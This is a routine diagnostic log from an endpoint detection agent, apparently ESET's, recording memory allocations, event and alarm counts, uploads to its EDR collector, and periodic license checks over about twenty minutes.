2026-03-04 12:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2367 KB; ModuleMetadata: 1892 KB; TcpIpConnectionsManager: 557 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 551 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 513 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 136 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 100 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130342 KB;
2026-03-04 12:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2728 KB; ModuleMetadata: 1892 KB; BaseEvent: 693 KB; TcpIpConnectionsManager: 557 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 182 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 80 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130911 KB;
2026-03-04 12:17:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:13:01, To:, 2026-03-04 12:17:09, Duration (s):, 248, Events Per Second:, 16.643, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3420, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458719
2026-03-04 12:17:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 12:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1892 KB; ProcessInfo: 1599 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BaseEvent: 135 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 74 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129065 KB;
2026-03-04 12:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:18:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:18:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:18:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:18:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1962 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 318 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::ProcessConditionsCache: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129619 KB;
2026-03-04 12:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2333 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 502 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 131 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130221 KB;
2026-03-04 12:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2699 KB; ModuleMetadata: 1892 KB; BaseEvent: 681 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 177 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130804 KB;
2026-03-04 12:21:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:17:08, To:, 2026-03-04 12:21:17, Duration (s):, 249, Events Per Second:, 16.403, Events:, 4088, File:, 1, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3362, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 724, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453992
2026-03-04 12:21:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s382ms.
2026-03-04 12:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1892 KB; ProcessInfo: 1533 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 110 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128895 KB;
2026-03-04 12:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1893 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 563 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; ModuleInfoCache: 305 KB; BaseEvent: 287 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129464 KB;
2026-03-04 12:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:23:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:23:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:23:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:23:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2253 KB; ModuleMetadata: 1893 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 467 KB; rules::ProcessConditionsCache: 397 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130429 KB;
2026-03-04 12:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2615 KB; ModuleMetadata: 1893 KB; BaseEvent: 648 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 388 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 169 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 131014 KB;
2026-03-04 12:25:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:21:16, To:, 2026-03-04 12:25:29, Duration (s):, 253, Events Per Second:, 16.200, Events:, 4104, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3378, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457261
2026-03-04 12:25:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s380ms.
2026-03-04 12:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1446 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; rules::ProcessConditionsCache: 375 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 79 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129123 KB;
2026-03-04 12:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1808 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 365 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 257 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129687 KB;
2026-03-04 12:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2170 KB; ModuleMetadata: 1893 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 435 KB; rules::ProcessConditionsCache: 353 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 113 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130269 KB;
2026-03-04 12:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:28:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:28:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:28:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:28:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2554 KB; ModuleMetadata: 1893 KB; BaseEvent: 613 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; rules::ProcessConditionsCache: 390 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 161 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 130944 KB;
2026-03-04 12:29:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:25:28, To:, 2026-03-04 12:29:37, Duration (s):, 249, Events Per Second:, 16.540, Events:, 4126, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458888
2026-03-04 12:29:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s386ms.
2026-03-04 12:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1418 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::ProcessConditionsCache: 393 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129076 KB;
2026-03-04 12:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1790 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; rules::ProcessConditionsCache: 391 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 238 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129680 KB;
2026-03-04 12:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2151 KB; ModuleMetadata: 1893 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 417 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 108 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130262 KB;
2026-03-04 12:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2491 KB; ModuleMetadata: 1893 KB; BaseEvent: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 511 KB; rules::ProcessConditionsCache: 339 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130744 KB;
2026-03-04 12:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:33:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:33:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:33:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:33:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:33:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:29:37, To:, 2026-03-04 12:33:49, Duration (s):, 252, Events Per Second:, 16.258, Events:, 4101, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3378, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456637
2026-03-04 12:33:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s418ms.
2026-03-04 12:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1311 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 330 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 19 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128836 KB;
2026-03-04 12:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1716 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 388 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 200 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129587 KB;
2026-03-04 12:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2107 KB; ModuleMetadata: 1893 KB; TcpIpConnectionsManager: 619 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BaseEvent: 384 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 104 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; rules::ProcessConditionsCache: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129887 KB;
2026-03-04 12:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2467 KB; ModuleMetadata: 1893 KB; TcpIpConnectionsManager: 613 KB; BaseEvent: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; rules::ProcessConditionsCache: 415 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130865 KB;
2026-03-04 12:37:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:33:48, To:, 2026-03-04 12:37:49, Duration (s):, 241, Events Per Second:, 17.200, Events:, 4150, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3461, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 686, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460688
2026-03-04 12:37:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s356ms.
2026-03-04 12:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1893 KB; ProcessInfo: 1387 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::ProcessConditionsCache: 403 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129054 KB;
2026-03-04 12:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:38:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:38:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:38:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:38:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
